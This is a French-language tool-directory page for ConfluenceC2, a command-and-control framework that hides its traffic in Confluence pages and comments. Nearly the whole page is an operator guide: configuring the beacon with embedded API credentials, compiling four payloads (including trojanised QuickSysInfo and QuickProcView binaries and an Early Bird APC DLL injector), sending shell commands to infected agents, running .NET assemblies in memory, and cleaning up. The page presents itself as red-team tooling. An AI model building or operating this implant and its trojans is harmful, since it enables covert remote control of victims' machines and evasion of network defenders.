Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ConfluenceC2 — Ce projet vise à transformer tout autre produit SaaS en C2, Confluence n'est que le début. | Kitploit
Outils/GitHubGitHub/dagowda/confluencec2
Mécanismes de PersistanceMouvement LatéralScripting et AutomatisationShellcodeExfiltration de DonnéesPost-ExploitationSécurité WebTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges UtilesCheval de Troie d'Accès à Distance
13216il y a 2 joursPas encore vérifié
GitHubdagowda/confluencec2

ConfluenceC2

Ce projet vise à transformer tout autre produit SaaS en C2, Confluence n'est que le début.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Confluence C2

Auteur : Dhanush Arvind

image_alt

Prérequis

Python 3.8+ avec requests :

pip install requests

Compte Confluence Cloud avec un jeton API (à générer sur https://id.atlassian.com/manage-profile/security/api-tokens), ou des identifiants Confluence Server

MinGW GCC soit :

  • WSL avec x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), soit
  • MinGW-w64 natif installé sur Windows et ajouté au PATH

Étape 1 : Créer la page C2 ou la créer manuellement à l'aide du navigateur

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Enregistrez l'ID de page à partir de la sortie — vous en avez besoin pour tout ce qui suit.

Pour utiliser un titre personnalisé :

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

Étape 2 : Configurer l'appelant

Exécutez configure.py pour intégrer vos identifiants Confluence et l'ID de page dans le code source de l'appelant :

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
ArgumentRequisDescription
--urlOuiURL de base de Confluence
--emailOuiE-mail du compte Confluence
--api-tokenOuiJeton d'API Confluence
--page-idOuiID de la page issue de l'étape 1
--sleepNonIntervalle du beacon en millisecondes (par défaut : 10000)
--outputNonRépertoire de sortie (par défaut : build)
--no-wiki-prefixNonIgnorer le préfixe /wiki (pour Confluence Server)
--compileNonCompilation automatique si gcc est dans le PATH

Étape 3 : Compiler avec MinGW

Option A : Compilateur croisé MinGW sous WSL (recommandé sous Windows)

Depuis PowerShell :

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

Remplacez /mnt/c/path/to/build par le chemin WSL réel vers le répertoire de build de votre projet.

Option B : MinGW natif sous Windows

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

Option C : Compilation automatique via configure.py

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

Après compilation manuelle, copiez les binaires dans payloads/ :

copy build\*.exe payloads\
copy build\*.dll payloads\

Étape 4 : Exécuter l'appelant

Charge utile 1 : Autonome

payloads\caller.exe

Charge utile 2 : QuickSysInfo trojanisé

payloads\QuickSysInfo.exe

Payload 3 : Injection DLL Early Bird

Les deux fichiers doivent se trouver dans le même répertoire :

cd payloads
earlybird_inject.exe

Charge utile 4 : QuickProcView trojanisé

Les deux fichiers doivent se trouver dans le même répertoire :

cd payloads
QuickProcView.exe

Étape 5 : Opérer : CLI ou interface graphique Web

Option A : Opérateur CLI (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

Option B : interface web (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

Ouvrez http://127.0.0.1:8443 dans votre navigateur.

Étape 6 : Envoyer des commandes

Via CLI : corps de la page

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

Via CLI : Commentaire

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Via l'interface Web

Ouvrez l'onglet Console. Sélectionnez le mode Page Body ou Comment. Saisissez la commande, sélectionnez l'agent cible et cliquez sur Send.

Via le navigateur (aucun outil nécessaire)

Accédez à la page C2 et publiez un commentaire :

[cmd] whoami

Cibler un agent spécifique :

[cmd:90bd7c8a] whoami

Shell interactif (CLI uniquement)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

Lire la sortie

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

Exécuter un assembly .NET en mémoire

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

Étape 7 : Tuer l'appelant

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

Étape 8 : Nettoyage

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

Ou via l'interface Web : ouvrez l'onglet Cleanup et cliquez sur le bouton de nettoyage.

Commandes du caller

Télécharger l’outil